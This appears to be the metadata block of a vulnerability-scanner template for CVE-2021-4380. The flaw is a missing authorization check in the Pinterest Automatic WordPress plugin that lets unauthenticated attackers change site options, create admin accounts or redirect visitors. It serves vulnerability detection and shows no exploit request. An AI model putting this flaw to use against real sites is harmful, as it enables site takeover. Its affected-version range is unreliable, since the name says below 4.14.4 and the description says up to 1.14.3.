id: CVE-2021-4380

info:
  name: Pinterest Automatic < 4.14.4 - Unauthenticated Arbitrary Options Update
  author: s4e-io
  severity: critical
  description: |
    The Pinterest Automatic plugin for WordPress is vulnerable to authorization bypass due to missing capability checks on the 'wp_pinterest_automatic_parse_request' function and the 'process_form.php' script in versions up to, and including, 1.14.3. This makes it possible for unauthenticated attackers to update arbitrary options on a site that can be used to create new administrative user accounts or redirect unsuspecting site visitors.
  impact: |
    Unauthenticated attackers can update arbitrary WordPress options including creating administrative accounts or redirecting site visitors to malicious content.
  remediation: Fixed in 4.14.4
